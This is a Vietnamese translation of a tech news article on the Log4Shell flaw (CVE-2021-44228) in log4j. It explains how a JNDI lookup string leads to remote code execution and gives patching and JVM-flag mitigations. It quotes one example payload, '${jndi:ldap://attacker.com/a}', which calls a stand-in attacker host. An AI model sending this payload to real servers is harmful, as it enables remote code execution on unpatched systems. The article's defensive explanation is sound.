Trang chủ Thủ Thuật Khai thác RCE Zero-Day quan trọng được tìm thấy trong Thư viện...

Khai thác RCE Zero-Day quan trọng được tìm thấy trong Thư viện ghi nhật ký Java phổ biến log4j, ảnh hưởng đến phần lớn Internet

0
49

Khai thác RCE Zero-Day quan trọng được tìm thấy trong Thư viện ghi nhật ký Java phổ biến log4j, ảnh hưởng đến phần lớn Internet

ebdb98ee

Một lỗ hổng thực thi mã từ xa quan trọng đã được tìm thấy trong log4j, một công cụ ghi nhật ký rất phổ biến được hầu hết ngành công nghiệp sử dụng. Nó cực kỳ nghiêm trọng, ảnh hưởng đến gần như mọi máy chủ chạy Java và rất dễ khai thác, vì vậy bạn sẽ muốn cập nhật và giảm thiểu vấn đề càng sớm càng tốt.

Cái này hoạt động ra sao?

Lỗi, được theo dõi bởi CVE-2021-44228, có khả năng ảnh hưởng đến hầu hết mọi ứng dụng Java sử dụng log4j , một số ít được xem xét mức độ phổ biến của nó. Nếu ứng dụng của bạn ghi nhật ký một chuỗi do người dùng gửi đến, nó có thể dễ bị tấn công. Theo như các lần khai thác, đây là một trong những lần khai thác tồi tệ nhất trong năm nay, vì nó có thể nhắm mục tiêu về cơ bản bất kỳ máy chủ nào chạy Java theo một số cách (mặc dù vectơ tấn công chính có thể khó hơn trên các phiên bản JDK hiện đại, nhiều hơn về điều đó bên dưới).

Về cơ bản, việc khai thác cho phép kẻ tấn công gửi cho máy chủ của bạn bất kỳ chuỗi nào như sau và nếu nó ghi nó vào đâu đó trong ứng dụng của bạn, máy chủ của bạn sẽ thực thi mã được lưu trữ tại địa chỉ đó .

$ {jndi: ldap: //attacker.com/a}

Điều này hoạt động bởi vì, khi phân tích cú pháp chuỗi được định dạng duy nhất này, log4j sẽ thực hiện một yêu cầu thông qua Giao diện đặt tên và thư mục Java, kết thúc là gửi một yêu cầu tải xuống đến một điểm cuối tùy ý. Nó tải xuống và giải .class tệp .class theo cách không an toàn. Bởi vì các lớp Java có thể có các bộ khởi tạo tĩnh chạy bất cứ khi nào lớp được biên dịch và tham chiếu, điều này dẫn đến việc thực thi mã tùy ý từ xa từ một chuỗi ngắn, đơn giản. Ví dụ: một ứng dụng khách có thể đặt tác nhân người dùng của họ thành chuỗi này hoặc bao gồm chuỗi này trong một yêu cầu và khi máy chủ của bạn ghi nhật ký, nó sẽ kích hoạt khai thác.

Điều đó khá kinh khủng, đạt 9,8 trên thang điểm CVSS. Nó chỉ rơi vào điểm kém nhất, vì mặc dù nó khủng khiếp như thế nào, nó không ảnh hưởng đến bất kỳ tài nguyên nào bên ngoài phạm vi của hệ thống được nhắm mục tiêu (nhưng cung cấp quyền truy cập cấp ứng dụng vào máy chủ chạy trình ghi nhật ký).

LIÊN QUAN: Các lỗ hổng bảo mật được xếp hạng như thế nào? (CVSS)

Nó sẽ ảnh hưởng đến rất nhiều ứng dụng. Ví dụ, Minecraft là một trong những người đầu tiên loan tin và vá lỗi khai thác, vì nó có thể thực thi mã cả trên máy chủ và trên tất cả người chơi được kết nối với máy chủ thông qua tin nhắn trò chuyện trong trò chơi. Bản cập nhật hotfix cho trò chơi đã được phát hành để vá lỗi.

Quảng cáo

Các dịch vụ phổ biến như Steam và iCloud đã được phát hiện là dễ bị tấn công và công ty nghiên cứu bảo mật GreyNoise đã phát hiện nhiều IP đang quét các máy chủ dễ bị tấn công.

Có thể bạn đang chạy log4j , vì nó được bao gồm trong hàng trăm thư viện khác làm công cụ ghi nhật ký tiêu chuẩn. Tuy nhiên, các phiên bản JDK lớn hơn 6u211 , 7u201 , 8u19111.0.1 không bị ảnh hưởng bởi vectơ tấn công chính (sử dụng LDAP) đang được khai thác ngay bây giờ. Điều đó không có nghĩa là bạn không nên cập nhật, vì lỗi trong log4j + JNDI vẫn còn nghiêm trọng và có thể dễ dàng được sử dụng với các vectơ tấn công khác.

Làm thế nào để tôi sửa nó?

May mắn thay, đã có một bản sửa lỗi vá lỗi hoàn toàn, vì vậy bạn nên cập nhật máy chủ của mình càng sớm càng tốt. Điều này cũng ảnh hưởng đến các ứng dụng khách, các ứng dụng này cũng cần cập nhật cho bản vá quan trọng này. Rốt cuộc, 3 tỷ thiết bị chạy Java, vì vậy sẽ mất một thời gian trước khi nó được sửa hoàn toàn.

Việc khai thác đã được vá trong log4j , 2.15.0-rc2, vì vậy bạn nên cập nhật nếu có thể. Bản vá cũng đã được hỗ trợ lại cho các phiên bản trước đó, do mức độ nghiêm trọng đối với những người dùng có thể bị mắc kẹt trên các bản phát hành cũ.

Nếu bạn đang sử dụng một thư viện khác sử dụng log4j , bạn vẫn có thể cập nhật theo cách thủ công trong hầu hết các trường hợp, nhưng nếu không thể, bạn có thể sử dụng cờ JVM này để giảm thiểu sự cố, điều này chỉ đơn giản là yêu cầu log4j không bao giờ thực hiện bất kỳ tra cứu nào khi định dạng tin nhắn.

-Dlog4j2.formatMsgNoLookups = true

Sự khác biệt giữa việc hiển thị và xuất bản một cổng Docker là gì?

Sự khác biệt giữa việc hiển thị và xuất bản một cổng Docker là gì?

Cách sao chép tệp giữa Kubernetes Pods và máy của bạn

Cách sao chép tệp giữa Kubernetes Pods và máy của bạn

Cách thiết lập mã thông báo truy cập cá nhân HTTPS để xác thực trên Github

Cách thiết lập mã thông báo truy cập cá nhân HTTPS để xác thực trên Github

Cách xóa cam kết khỏi Github

Cách xóa cam kết khỏi Github

Có gì mới trong PHP 8.1?

Có gì mới trong PHP 8.1?

Cách (và tại sao) chạy Docker Inside Docker

Cách (và tại sao) chạy Docker Inside Docker

Dịch từ: https://www.cloudsavvyit.com/15042/critical-rce-zero-day-exploit-found-in-popular-java-logging-library-log4j-affects-much-of-the-internet/

Hãy giúp chúng tôi đánh giá bài viết này!

BÌNH LUẬN

Vui lòng nhập bình luận của bạn
Vui lòng nhập tên của bạn ở đây